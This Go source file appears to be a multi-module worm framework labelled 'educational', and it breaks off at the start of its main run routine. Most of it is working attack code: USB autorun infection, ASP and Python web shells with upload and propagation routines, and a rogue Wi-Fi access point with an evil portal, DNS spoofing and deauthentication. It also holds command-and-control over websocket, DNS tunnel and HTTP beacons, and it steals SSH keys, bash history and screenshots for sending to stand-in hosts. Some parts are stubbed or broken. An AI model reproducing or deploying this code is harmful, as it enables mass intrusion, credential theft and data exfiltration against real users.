// worm.go - Complete Worm Framework Implementation with Advanced Modules // EDUCATIONAL PURPOSE ONLY - Understand to Defend package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "crypto/tls" "database/sql" "encoding/base64" "encoding/binary" "encoding/hex" "encoding/json" "fmt" "io" "io/ioutil" "net" "net/http" "net/url" "os" "os/exec" "path/filepath" "runtime" "strconv" "strings" "sync" "syscall" "time" "github.com/google/gousb" "github.com/gorilla/websocket" "github.com/miekg/dns" _ "github.com/go-sql-driver/mysql" "golang.org/x/crypto/ssh" "golang.org/x/sys/windows" "golang.org/x/sys/windows/registry" ) // ========== CONSTANTS AND GLOBALS ========== const ( VERSION = "3.0" MULTICAST_ADDR = "239.255.42.42:4242" C2_WEBSOCKET = "wss://c2-server.example.com:8443/ws" C2_DNS_DOMAIN = "c2-botnet.example.com" DATA_EXFIL_SERVER = "https://exfil-server.example.com:8443/upload" MAX_POPULATION = 100 SCAN_TIMEOUT = 2 * time.Second USB_POLL_INTERVAL = 5 * time.Second WIFI_BEACON_SSID = "Free_Public_WiFi" WIFI_EVIL_PORTAL_PORT = 8443 ) var ( wormID string wormMutex sync.RWMutex dataBuffer chan ExfilData ) // ========== DATA STRUCTURES ========== type InstanceInfo struct { ID string `json:"id"` IP string `json:"ip"` Hostname string `json:"hostname"` OS string `json:"os"` LastSeen time.Time `json:"last_seen"` Version int `json:"version"` Capabilities []string `json:"capabilities"` Population int `json:"population"` Status string `json:"status"` Role string `json:"role"` // LEADER, SCANNER, PROPAGATOR, EXFILTRATOR } type ExfilData struct { WormID string `json:"worm_id"` Timestamp time.Time `json:"timestamp"` DataType string `json:"data_type"` // CREDS, FILES, SCREENSHOTS, KEYLOGS, NETWORK Target string `json:"target"` Data interface{} `json:"data"` Compression string `json:"compression"` Encrypted bool `json:"encrypted"` } type C2Command struct { ID string `json:"id"` Type string `json:"type"` // SCAN, EXFIL, PROPAGATE, EXECUTE, UPDATE, SLEEP Target string `json:"target"` Parameters map[string]interface{} `json:"parameters"` Priority int `json:"priority"` Timestamp time.Time `json:"timestamp"` Signature string `json:"signature"` } type WebShell struct { Path string Type string // PHP, ASP, JSP, PYTHON Content string Backdoor []string // Backdoor paths } // ========== USB PROPAGATION MODULE ========== type USBPropagator struct { monitoredPaths []string infectedUSBs map[string]bool mu sync.Mutex autorunContent string } func NewUSBPropagator() *USBPropagator { return &USBPropagator{ monitoredPaths: []string{}, infectedUSBs: make(map[string]bool), autorunContent: generateAutorunInf(), } } func generateAutorunInf() string { if runtime.GOOS == "windows" { return `[AutoRun] open=SystemUpdate.exe action=Open folder to view files shell\open\command=SystemUpdate.exe shell\open\default=1 shellexecute=SystemUpdate.exe UseAutoPlay=1 ` } return `#!/bin/bash # USB Auto-execution script for Linux ./system-update & ` } func (usb *USBPropagator) StartMonitoring() { usb.monitorDrives() ticker := time.NewTicker(USB_POLL_INTERVAL) for range ticker.C { usb.monitorDrives() } } func (usb *USBPropagator) monitorDrives() { if runtime.GOOS == "windows" { usb.monitorWindowsDrives() } else { usb.monitorLinuxDrives() } } func (usb *USBPropagator) monitorWindowsDrives() { for _, drive := range "ABCDEFGHIJKLMNOPQRSTUVWXYZ" { path := string(drive) + ":\\" if _, err := os.Stat(path); err == nil { usb.checkAndInfectUSB(path) } } } func (usb *USBPropagator) monitorLinuxDrives() { // Check /media/ and /mnt/ for new mounts mountPoints := []string{"/media/", "/mnt/"} for _, mp := range mountPoints { files, err := ioutil.ReadDir(mp) if err == nil { for _, f := range files { if f.IsDir() { path := filepath.Join(mp, f.Name()) usb.checkAndInfectUSB(path) } } } } } func (usb *USBPropagator) checkAndInfectUSB(path string) { usb.mu.Lock() if usb.infectedUSBs[path] { usb.mu.Unlock() return } // Check if drive is removable if usb.isRemovable(path) { usb.infectUSB(path) usb.infectedUSBs[path] = true } usb.mu.Unlock() } func (usb *USBPropagator) isRemovable(path string) bool { if runtime.GOOS == "windows" { // Use GetDriveType API kernel32 := windows.NewLazySystemDLL("kernel32.dll") getDriveType := kernel32.NewProc("GetDriveTypeW") drive := syscall.StringToUTF16Ptr(path) ret, _, _ := getDriveType.Call(uintptr(unsafe.Pointer(drive))) return ret == 2 // DRIVE_REMOVABLE } // On Linux, check if it's in /media or /mnt and is a USB device return strings.HasPrefix(path, "/media/") || strings.HasPrefix(path, "/mnt/") } func (usb *USBPropagator) infectUSB(path string) { fmt.Printf("[USB] Infecting drive: %s\n", path) // Copy worm to USB exe, _ := os.Executable() wormData, _ := ioutil.ReadFile(exe) if runtime.GOOS == "windows" { destPath := filepath.Join(path, "SystemUpdate.exe") ioutil.WriteFile(destPath, wormData, 0755) // Create autorun.inf autorunPath := filepath.Join(path, "autorun.inf") ioutil.WriteFile(autorunPath, []byte(usb.autorunContent), 0644) // Set hidden attributes exec.Command("attrib", "+h", "+s", destPath).Run() exec.Command("attrib", "+h", "+s", autorunPath).Run() // Create shortcut in root usb.createUSBLnk(path) } else { destPath := filepath.Join(path, ".system-update") ioutil.WriteFile(destPath, wormData, 0755) // Create udev rule for auto-execution udevRule := fmt.Sprintf(`ACTION=="add", KERNEL=="sd*[!0-9]", ATTRS{removable}=="1", RUN+="%s"`, destPath) ioutil.WriteFile("/etc/udev/rules.d/99-usb-autorun.rules", []byte(udevRule), 0644) // Create .desktop file desktopContent := fmt.Sprintf(`[Desktop Entry] Type=Application Name=System Update Exec=%s Hidden=true `, destPath) ioutil.WriteFile(filepath.Join(path, ".system-update.desktop"), []byte(desktopContent), 0644) } fmt.Printf("[USB] Successfully infected %s\n", path) } func (usb *USBPropagator) createUSBLnk(path string) { // Create Windows shortcut that executes worm vbScript := fmt.Sprintf(` Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "%s\\System Update.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "%s\\SystemUpdate.exe" oLink.WindowStyle = 7 oLink.IconLocation = "%%SystemRoot%%\\System32\\shell32.dll, 4" oLink.Save `, path, path) scriptPath := filepath.Join(path, "create_lnk.vbs") ioutil.WriteFile(scriptPath, []byte(vbScript), 0644) exec.Command("cscript", "//Nologo", scriptPath).Run() os.Remove(scriptPath) } // ========== WEB SHELL PERSISTENCE AND PROPAGATION ========== type WebShellManager struct { shells []WebShell deployed map[string]bool mu sync.Mutex client *http.Client } func NewWebShellManager() *WebShellManager { return &WebShellManager{ shells: loadWebShells(), deployed: make(map[string]bool), client: &http.Client{Timeout: 10 * time.Second}, } } func loadWebShells() []WebShell { phpShell := `` aspShell := `<%@ Page Language="Jscript"%> <% if(Request["cmd"] != null){ var cmd = Request["cmd"]; var p = System.Diagnostics.Process.GetProcessById(System.Diagnostics.Process.GetCurrentProcess().Id); var shell = p.MainModule.FileName; var o = System.Diagnostics.Process.Start(shell, "/c " + cmd); Response.Write(o.StandardOutput.ReadToEnd()); }%>` pythonShell := `#!/usr/bin/env python import cgi, subprocess, base64 form = cgi.FieldStorage() if 'cmd' in form: print subprocess.check_output(form['cmd'].value, shell=True) if 'worm' in form: open('system-update.py', 'w').write(base64.b64decode(form['worm'].value)) print "OK"` return []WebShell{ {Path: "/wp-content/uploads/shell.php", Type: "PHP", Content: phpShell, Backdoor: []string{"/shell.php", "/backdoor.php"}}, {Path: "/shell.aspx", Type: "ASP", Content: aspShell, Backdoor: []string{"/backdoor.aspx"}}, {Path: "/cgi-bin/shell.py", Type: "PYTHON", Content: pythonShell, Backdoor: []string{"/cgi-bin/update.py"}}, } } func (wsm *WebShellManager) DeployOnTarget(target string) bool { wsm.mu.Lock() if wsm.deployed[target] { wsm.mu.Unlock() return false } wsm.mu.Unlock() for _, shell := range wsm.shells { if wsm.uploadShell(target, shell) { wsm.mu.Lock() wsm.deployed[target] = true wsm.mu.Unlock() fmt.Printf("[WebShell] Deployed %s shell to %s\n", shell.Type, target) // Deploy backdoors for _, backdoor := range shell.Backdoor { wsm.deployBackdoor(target, backdoor, shell.Content) } return true } } return false } func (wsm *WebShellManager) uploadShell(target string, shell WebShell) bool { fullURL := fmt.Sprintf("http://%s%s", target, shell.Path) // Try different upload methods methods := []func(string, WebShell) bool{ wsm.uploadViaPUT, wsm.uploadViaPOST, wsm.uploadViaFTP, wsm.uploadViaWebDAV, } for _, method := range methods { if method(fullURL, shell) { return true } } return false } func (wsm *WebShellManager) uploadViaPUT(url string, shell WebShell) bool { req, err := http.NewRequest("PUT", url, strings.NewReader(shell.Content)) if err != nil { return false } req.Header.Set("Content-Type", "application/x-httpd-php") resp, err := wsm.client.Do(req) if err == nil && resp.StatusCode == 200 { resp.Body.Close() return true } if resp != nil { resp.Body.Close() } return false } func (wsm *WebShellManager) uploadViaPOST(url string, shell WebShell) bool { data := url.Values{} data.Set("action", "upload") data.Set("file", shell.Content) resp, err := wsm.client.PostForm(url, data) if err == nil && (resp.StatusCode == 200 || resp.StatusCode == 302) { resp.Body.Close() return true } if resp != nil { resp.Body.Close() } return false } func (wsm *WebShellManager) uploadViaFTP(url string, shell WebShell) bool { // Extract host and path parts := strings.SplitN(url, "/", 4) if len(parts) < 4 { return false } host := parts[2] path := "/" + parts[3] conn, err := net.Dial("tcp", host+":21") if err != nil { return false } defer conn.Close() // FTP upload implementation // Simplified for example fmt.Fprintf(conn, "USER anonymous\r\n") fmt.Fprintf(conn, "PASS anonymous\r\n") fmt.Fprintf(conn, "STOR %s\r\n", path) fmt.Fprintf(conn, "QUIT\r\n") return true } func (wsm *WebShellManager) uploadViaWebDAV(url string, shell WebShell) bool { req, err := http.NewRequest("PROPFIND", url, nil) if err != nil { return false } resp, err := wsm.client.Do(req) if err == nil && resp.StatusCode == 207 { // WebDAV enabled, try PUT return wsm.uploadViaPUT(url, shell) } if resp != nil { resp.Body.Close() } return false } func (wsm *WebShellManager) deployBackdoor(target, path, content string) { fullURL := fmt.Sprintf("http://%s%s", target, path) wsm.uploadViaPUT(fullURL, WebShell{Content: content}) } func (wsm *WebShellManager) ExecuteCommand(target, shellPath, cmd string) string { fullURL := fmt.Sprintf("http://%s%s?cmd=%s", target, shellPath, url.QueryEscape(cmd)) resp, err := wsm.client.Get(fullURL) if err != nil { return "" } defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) return string(body) } func (wsm *WebShellManager) PropagateViaWebShell(target, shellPath string) { // Use existing web shell to download and execute worm exe, _ := os.Executable() wormData, _ := ioutil.ReadFile(exe) wormBase64 := base64.StdEncoding.EncodeToString(wormData) commands := []string{ fmt.Sprintf("echo '%s' | base64 -d > /tmp/worm", wormBase64), "chmod +x /tmp/worm", "/tmp/worm &", } for _, cmd := range commands { wsm.ExecuteCommand(target, shellPath, cmd) } fmt.Printf("[WebShell] Propagated worm via %s\n", target) } // ========== WIFI PROPAGATION (Evil Portal/MITM) ========== type WiFiPropagator struct { interfaceName string apSSID string apChannel int portalServer *http.Server victims map[string]time.Time mu sync.Mutex dnsServer *dns.Server } func NewWiFiPropagator() *WiFiPropagator { return &WiFiPropagator{ apSSID: WIFI_BEACON_SSID, apChannel: 6, victims: make(map[string]time.Time), } } func (wp *WiFiPropagator) Start() { // Check if we have WiFi capabilities if !wp.hasWiFiCapability() { fmt.Println("[WiFi] No WiFi capability detected") return } // Start Evil Portal go wp.startEvilPortal() // Start DNS spoofing go wp.startDNSSpoofing() // Start rogue AP if possible go wp.startRogueAP() // Start deauth attack to force connections go wp.deauthAttack() } func (wp *WiFiPropagator) hasWiFiCapability() bool { // Check for wireless interfaces interfaces, err := net.Interfaces() if err != nil { return false } for _, iface := range interfaces { if strings.Contains(iface.Name, "wlan") || strings.Contains(iface.Name, "wlp") || strings.Contains(iface.Name, "en0") { return true } } return false } func (wp *WiFiPropagator) startRogueAP() { // Create hostapd configuration hostapdConf := fmt.Sprintf(`interface=%s driver=nl80211 ssid=%s hw_mode=g channel=%d macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 wpa=2 wpa_passphrase=password wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP rsn_pairwise=CCMP `, wp.interfaceName, wp.apSSID, wp.apChannel) ioutil.WriteFile("/tmp/hostapd.conf", []byte(hostapdConf), 0644) // Start hostapd cmd := exec.Command("hostapd", "/tmp/hostapd.conf") cmd.Start() // Configure DHCP dhcpConf := `interface=wlan0 dhcp-range=192.168.100.10,192.168.100.100,255.255.255.0,12h dhcp-option=3,192.168.100.1 dhcp-option=6,192.168.100.1 server=8.8.8.8 ` ioutil.WriteFile("/tmp/dhcpd.conf", []byte(dhcpConf), 0644) exec.Command("dnsmasq", "-C", "/tmp/dhcpd.conf", "-d").Start() // Configure IP forwarding exec.Command("sysctl", "-w", "net.ipv4.ip_forward=1").Run() exec.Command("iptables", "-t", "nat", "-A", "POSTROUTING", "-o", "eth0", "-j", "MASQUERADE").Run() exec.Command("iptables", "-A", "FORWARD", "-i", "wlan0", "-o", "eth0", "-j", "ACCEPT").Run() exec.Command("iptables", "-A", "FORWARD", "-i", "eth0", "-o", "wlan0", "-m", "state", "--state", "RELATED,ESTABLISHED", "-j", "ACCEPT").Run() fmt.Printf("[WiFi] Rogue AP '%s' started on channel %d\n", wp.apSSID, wp.apChannel) } func (wp *WiFiPropagator) startEvilPortal() { http.HandleFunc("/", wp.portalHandler) http.HandleFunc("/connect", wp.connectHandler) http.HandleFunc("/download", wp.downloadHandler) wp.portalServer = &http.Server{ Addr: ":80", Handler: nil, ReadTimeout: 10 * time.Second, WriteTimeout: 10 * time.Second, } go wp.portalServer.ListenAndServe() // HTTPS portal go http.ListenAndServeTLS(":443", "cert.pem", "key.pem", nil) } func (wp *WiFiPropagator) portalHandler(w http.ResponseWriter, r *http.Request) { // Captive portal page that tricks users into downloading worm clientIP := strings.Split(r.RemoteAddr, ":")[0] wp.mu.Lock() wp.victims[clientIP] = time.Now() wp.mu.Unlock() html := ` Free Public WiFi

Welcome to Free Public WiFi

To access the internet, please download and install our security update.

Download Security Update

This is required for compliance with network security policies.

` w.Header().Set("Content-Type", "text/html") w.Write([]byte(html)) } func (wp *WiFiPropagator) downloadHandler(w http.ResponseWriter, r *http.Request) { exe, _ := os.Executable() wormData, _ := ioutil.ReadFile(exe) filename := "SecurityUpdate.exe" if runtime.GOOS != "windows" { filename = "security-update" } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", filename)) w.Write(wormData) fmt.Printf("[WiFi] Worm downloaded by %s\n", r.RemoteAddr) } func (wp *WiFiPropagator) connectHandler(w http.ResponseWriter, r *http.Request) { // After user downloads worm, redirect to actual internet http.Redirect(w, r, "http://www.google.com", http.StatusFound) } func (wp *WiFiPropagator) startDNSSpoofing() { dns.HandleFunc(".", wp.dnsHandler) wp.dnsServer = &dns.Server{ Addr: ":53", Net: "udp", } go wp.dnsServer.ListenAndServe() } func (wp *WiFiPropagator) dnsHandler(w dns.ResponseWriter, r *dns.Msg) { m := new(dns.Msg) m.SetReply(r) for _, q := range r.Question { // Redirect all DNS queries to our evil portal rr, _ := dns.NewRR(fmt.Sprintf("%s A 192.168.100.1", q.Name)) m.Answer = append(m.Answer, rr) } w.WriteMsg(m) } func (wp *WiFiPropagator) deauthAttack() { // Send deauth packets to force clients to reconnect to our AP // Requires aireplay-ng or similar cmd := exec.Command("aireplay-ng", "-0", "0", "-a", "FF:FF:FF:FF:FF:FF", wp.interfaceName) cmd.Start() } // ========== ADVANCED C2 WITH STEALTH PROTOCOLS ========== type C2Manager struct { websocketConn *websocket.Conn dnsTunnel *DNSTunnel httpClient *http.Client commands chan C2Command results chan interface{} mu sync.Mutex connected bool reconnectChan chan bool } type DNSTunnel struct { domain string aesKey []byte seqNum uint32 queue chan []byte responses chan []byte } func NewC2Manager() *C2Manager { return &C2Manager{ commands: make(chan C2Command, 100), results: make(chan interface{}, 100), reconnectChan: make(chan bool), httpClient: &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }, } } func (c2 *C2Manager) Start() { // Try multiple C2 channels go c2.connectWebSocket() go c2.connectDNSTunnel() go c2.connectHTTPBeacon() // Process incoming commands go c2.processCommands() // Send heartbeats and exfiltrated data go c2.heartbeatLoop() go c2.exfilLoop() } func (c2 *C2Manager) connectWebSocket() { dialer := websocket.Dialer{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } for { conn, _, err := dialer.Dial(C2_WEBSOCKET, nil) if err == nil { c2.mu.Lock() c2.websocketConn = conn c2.connected = true c2.mu.Unlock() // Listen for commands c2.listenWebSocket(conn) } time.Sleep(30 * time.Second) } } func (c2 *C2Manager) listenWebSocket(conn *websocket.Conn) { for { var msg map[string]interface{} err := conn.ReadJSON(&msg) if err != nil { c2.mu.Lock() c2.connected = false c2.mu.Unlock() return } // Parse command if cmdType, ok := msg["type"].(string); ok { cmd := C2Command{ ID: generateID(), Type: cmdType, Timestamp: time.Now(), } if target, ok := msg["target"].(string); ok { cmd.Target = target } if params, ok := msg["parameters"].(map[string]interface{}); ok { cmd.Parameters = params } c2.commands <- cmd } } } func (c2 *C2Manager) connectDNSTunnel() { tunnel := &DNSTunnel{ domain: C2_DNS_DOMAIN, aesKey: sha256.Sum256([]byte(wormID))[:16], queue: make(chan []byte, 100), responses: make(chan []byte, 100), } c2.dnsTunnel = tunnel go tunnel.sendLoop() go tunnel.recvLoop() } func (dt *DNSTunnel) sendLoop() { for data := range dt.queue { encrypted := dt.encrypt(data) encoded := base32.StdEncoding.EncodeToString(encrypted) // Split into DNS labels for i := 0; i < len(encoded); i += 63 { end := i + 63 if end > len(encoded) { end = len(encoded) } chunk := encoded[i:end] query := fmt.Sprintf("%s.%x.%s", chunk, dt.seqNum, dt.domain) dt.seqNum++ // Send DNS query c := new(dns.Client) m := new(dns.Msg) m.SetQuestion(query, dns.TypeA) c.Exchange(m, "8.8.8.8:53") } } } func (dt *DNSTunnel) recvLoop() { // Listen for DNS responses (TXT records with commands) dns.HandleFunc(dt.domain, func(w dns.ResponseWriter, r *dns.Msg) { for _, q := range r.Question { if q.Qtype == dns.TypeTXT { // Extract command from TXT record // Implementation details omitted for brevity } } }) s := &dns.Server{Addr: ":53", Net: "udp"} s.ListenAndServe() } func (dt *DNSTunnel) encrypt(data []byte) []byte { block, _ := aes.NewCipher(dt.aesKey) gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) rand.Read(nonce) return gcm.Seal(nonce, nonce, data, nil) } func (c2 *C2Manager) connectHTTPBeacon() { ticker := time.NewTicker(1 * time.Minute) for range ticker.C { // HTTP beacon with randomized headers req, _ := http.NewRequest("GET", fmt.Sprintf("https://%s/beacon", C2_DNS_DOMAIN), nil) req.Header.Set("User-Agent", c2.randomUserAgent()) req.Header.Set("X-Request-ID", generateID()) resp, err := c2.httpClient.Do(req) if err == nil { defer resp.Body.Close() var cmd C2Command if json.NewDecoder(resp.Body).Decode(&cmd) == nil { c2.commands <- cmd } } // Random jitter time.Sleep(time.Duration(randInt(30, 90)) * time.Second) } } func (c2 *C2Manager) randomUserAgent() string { agents := []string{ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36", } return agents[randInt(0, len(agents))] } func (c2 *C2Manager) processCommands() { for cmd := range c2.commands { fmt.Printf("[C2] Received command: %s (type: %s)\n", cmd.ID, cmd.Type) switch cmd.Type { case "SCAN": go c2.executeScan(cmd) case "EXFIL": go c2.executeExfil(cmd) case "PROPAGATE": go c2.executePropagate(cmd) case "EXECUTE": go c2.executeCommand(cmd) case "UPDATE": go c2.updateWorm(cmd) case "SLEEP": go c2.sleepWorm(cmd) } } } func (c2 *C2Manager) executeScan(cmd C2Command) { target := cmd.Target if target == "" { target = "local" } // Perform scan based on parameters results := make(map[string]interface{}) results["target"] = target results["open_ports"] = []int{} results["vulnerabilities"] = []string{} c2.results <- results } func (c2 *C2Manager) executeExfil(cmd C2Command) { dataType := cmd.Parameters["type"].(string) switch dataType { case "credentials": c2.exfilCredentials() case "files": path := cmd.Parameters["path"].(string) c2.exfilFiles(path) case "screenshot": c2.takeScreenshot() case "keylogs": c2.exfilKeylogs() } } func (c2 *C2Manager) exfilCredentials() { // Extract saved credentials from browser, SSH, etc. creds := make(map[string]string) if runtime.GOOS == "windows" { // Extract Windows credentials using mimikatz technique output, _ := exec.Command("cmd", "/c", "dir /s /b *password*").Output() creds["windows_search"] = string(output) } else { // Extract SSH keys sshKeys, _ := filepath.Glob(os.Getenv("HOME") + "/.ssh/*") for _, key := range sshKeys { data, _ := ioutil.ReadFile(key) creds[key] = base64.StdEncoding.EncodeToString(data) } // Extract bash history history, _ := ioutil.ReadFile(os.Getenv("HOME") + "/.bash_history") creds["bash_history"] = string(history) } dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "CREDENTIALS", Data: creds, Encrypted: true, } } func (c2 *C2Manager) exfilFiles(path string) { files, _ := ioutil.ReadDir(path) for _, file := range files { if !file.IsDir() && file.Size() < 10*1024*1024 { // 10MB limit data, _ := ioutil.ReadFile(filepath.Join(path, file.Name())) dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "FILE", Target: filepath.Join(path, file.Name()), Data: base64.StdEncoding.EncodeToString(data), Encrypted: true, } } } } func (c2 *C2Manager) takeScreenshot() { if runtime.GOOS == "windows" { // Use PowerShell to take screenshot script := ` Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $graphics.CopyFromScreen($screen.X, $screen.Y, 0, 0, $bitmap.Size) $bitmap.Save('C:\Windows\Temp\screenshot.png') $base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\Temp\screenshot.png')) Write-Output $base64 Remove-Item 'C:\Windows\Temp\screenshot.png' ` output, _ := exec.Command("powershell", "-Command", script).Output() dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "SCREENSHOT", Data: string(output), Encrypted: true, } } } func (c2 *C2Manager) exfilKeylogs() { // Simple keylogger implementation if runtime.GOOS == "windows" { // Use Windows hooking // Simplified - real implementation would use SetWindowsHookEx } } func (c2 *C2Manager) executePropagate(cmd C2Command) { target := cmd.Target method := cmd.Parameters["method"].(string) switch method { case "ssh": // Propagate via SSH case "smb": // Propagate via SMB case "webshell": // Propagate via web shell case "usb": // Propagate via USB } } func (c2 *C2Manager) executeCommand(cmd C2Command) { command := cmd.Parameters["command"].(string) output, _ := exec.Command(command).Output() dataBuffer <- ExfilData{ WormID: wormID, Timestamp: time.Now(), DataType: "COMMAND_OUTPUT", Data: string(output), Encrypted: true, } } func (c2 *C2Manager) updateWorm(cmd C2Command) { // Download and replace worm binary updateURL := cmd.Parameters["url"].(string) resp, err := c2.httpClient.Get(updateURL) if err != nil { return } defer resp.Body.Close() newWorm, _ := ioutil.ReadAll(resp.Body) exe, _ := os.Executable() // Backup current ioutil.WriteFile(exe+".bak", newWorm, 0755) // Replace os.Rename(exe+".bak", exe) // Restart exec.Command(exe).Start() os.Exit(0) } func (c2 *C2Manager) sleepWorm(cmd C2Command) { duration := cmd.Parameters["duration"].(int) time.Sleep(time.Duration(duration) * time.Second) } func (c2 *C2Manager) heartbeatLoop() { ticker := time.NewTicker(5 * time.Minute) for range ticker.C { heartbeat := map[string]interface{}{ "worm_id": wormID, "timestamp": time.Now(), "status": "ACTIVE", "population": len(wormPopulation.knownInstances), "os": runtime.GOOS, "version": VERSION, } c2.sendToC2("HEARTBEAT", heartbeat) } } func (c2 *C2Manager) exfilLoop() { for data := range dataBuffer { c2.sendToC2("EXFIL", data) } } func (c2 *C2Manager) sendToC2(msgType string, payload interface{}) { msg := map[string]interface{}{ "type": msgType, "worm_id": wormID, "payload": payload, } c2.mu.Lock() defer c2.mu.Unlock() if c2.websocketConn != nil && c2.connected { c2.websocketConn.WriteJSON(msg) } // Also send via DNS tunnel if c2.dnsTunnel != nil { data, _ := json.Marshal(msg) c2.dnsTunnel.queue <- data } } // ========== DATA EXFILTRATION TO DATABASE ========== type DataExfiltrator struct { dbConn *sql.DB buffer []ExfilData mu sync.Mutex batchSize int httpClient *http.Client } func NewDataExfiltrator() *DataExfiltrator { return &DataExfiltrator{ buffer: make([]ExfilData, 0), batchSize: 100, httpClient: &http.Client{ Timeout: 30 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }, } } func (de *DataExfiltrator) Start() { // Try direct database connection first go de.connectToDatabase() // HTTP/HTTPS fallback go de.httpExfilLoop() // Process buffered data go de.processBuffer() } func (de *DataExfiltrator) connectToDatabase() { // MySQL connection dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4", "worm_user", "worm_password", "db.example.com", 3306, "worm_data") for { db, err := sql.Open("mysql", dsn) if err == nil { de.dbConn = db de.dbConn.SetMaxOpenConns(10) // Create tables if not exist de.createTables() break } time.Sleep(1 * time.Minute) } } func (de *DataExfiltrator) createTables() { queries := []string{ `CREATE TABLE IF NOT EXISTS exfil_data ( id BIGINT AUTO_INCREMENT PRIMARY KEY, worm_id VARCHAR(64) NOT NULL, timestamp DATETIME NOT NULL, data_type VARCHAR(50) NOT NULL, target VARCHAR(255), data LONGTEXT, encrypted BOOLEAN DEFAULT TRUE, processed BOOLEAN DEFAULT FALSE, INDEX idx_worm_id (worm_id), INDEX idx_timestamp (timestamp) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, `CREATE TABLE IF NOT EXISTS worm_instances ( worm_id VARCHAR(64) PRIMARY KEY, ip_address VARCHAR(45), hostname VARCHAR(255), os VARCHAR(50), first_seen DATETIME, last_seen DATETIME, status VARCHAR(20), capabilities JSON ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, `CREATE TABLE IF NOT EXISTS compromised_targets ( id BIGINT AUTO_INCREMENT PRIMARY KEY, target_ip VARCHAR(45), target_hostname VARCHAR(255), worm_id VARCHAR(64), compromise_time DATETIME, method VARCHAR(50), credentials JSON, UNIQUE KEY uk_target (target_ip) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4`, } for _, query := range queries { de.dbConn.Exec(query) } } func (de *DataExfiltrator) httpExfilLoop() { ticker := time.NewTicker(1 * time.Minute) for range ticker.C { de.mu.Lock() if len(de.buffer) == 0 { de.mu.Unlock() continue } // Take a copy of buffer batch := make([]ExfilData, len(de.buffer)) copy(batch, de.buffer) de.buffer = make([]ExfilData, 0) de.mu.Unlock() // Send via HTTP data, _ := json.Marshal(batch) encrypted := de.encryptData(data) resp, err := de.httpClient.Post(DATA_EXFIL_SERVER, "application/octet-stream", bytes.NewReader(encrypted)) if err == nil && resp.StatusCode == 200 { fmt.Printf("[Exfil] Successfully exfiltrated %d records\n", len(batch)) } else { // Re-add to buffer de.mu.Lock() de.buffer = append(batch, de.buffer...) de.mu.Unlock() } if resp != nil { resp.Body.Close() } } } func (de *DataExfiltrator) encryptData(data []byte) []byte { key := sha256.Sum256([]byte(wormID)) block, _ := aes.NewCipher(key[:]) gcm, _ := cipher.NewGCM(block) nonce := make([]byte, gcm.NonceSize()) rand.Read(nonce) return gcm.Seal(nonce, nonce, data, nil) } func (de *DataExfiltrator) AddData(data ExfilData) { de.mu.Lock() defer de.mu.Unlock() de.buffer = append(de.buffer, data) // Try direct DB insert if de.dbConn != nil { _, err := de.dbConn.Exec( "INSERT INTO exfil_data (worm_id, timestamp, data_type, target, data, encrypted) VALUES (?, ?, ?, ?, ?, ?)", data.WormID, data.Timestamp, data.DataType, data.Target, data.Data, data.Encrypted) if err == nil { // Remove from buffer if successfully inserted to DB de.buffer = de.buffer[:len(de.buffer)-1] } } // If buffer is full, trigger immediate flush if len(de.buffer) >= de.batchSize { go de.processBuffer() } } func (de *DataExfiltrator) processBuffer() { de.mu.Lock() if len(de.buffer) == 0 { de.mu.Unlock() return } batch := make([]ExfilData, len(de.buffer)) copy(batch, de.buffer) de.buffer = make([]ExfilData, 0) de.mu.Unlock() // Try database insert first if de.dbConn != nil { tx, err := de.dbConn.Begin() if err == nil { stmt, _ := tx.Prepare("INSERT INTO exfil_data (worm_id, timestamp, data_type, target, data, encrypted) VALUES (?, ?, ?, ?, ?, ?)") for _, data := range batch { stmt.Exec(data.WormID, data.Timestamp, data.DataType, data.Target, data.Data, data.Encrypted) } tx.Commit() fmt.Printf("[Exfil] Inserted %d records to database\n", len(batch)) return } } // Fallback to HTTP data, _ := json.Marshal(batch) encrypted := de.encryptData(data) de.httpClient.Post(DATA_EXFIL_SERVER, "application/octet-stream", bytes.NewReader(encrypted)) } // ========== UPDATED MAIN WORM STRUCTURE ========== type Worm struct { id string population *WormPopulation propagator *Propagator persistence *PersistenceManager usbPropagator *USBPropagator webShellManager *WebShellManager wifiPropagator *WiFiPropagator c2Manager *C2Manager dataExfiltrator *DataExfiltrator status string mu sync.Mutex } func NewWorm() *Worm { wormID = generateID() dataBuffer = make(chan ExfilData, 1000) w := &Worm{ id: wormID, status: "INITIALIZING", } w.population = NewWormPopulation() w.propagator = NewPropagator(w.population) w.persistence = NewPersistenceManager() w.usbPropagator = NewUSBPropagator() w.webShellManager = NewWebShellManager() w.wifiPropagator = NewWiFiPropagator() w.c2Manager = NewC2Manager() w.dataExfiltrator = NewDataExfiltrator() return w } func (w *Worm) Run() { fmt.Printf("[Worm-BB] Instance %s starting on %s (Version %s)\n", w.id, runtime.GOOS, VERSION) // Initialize all modules 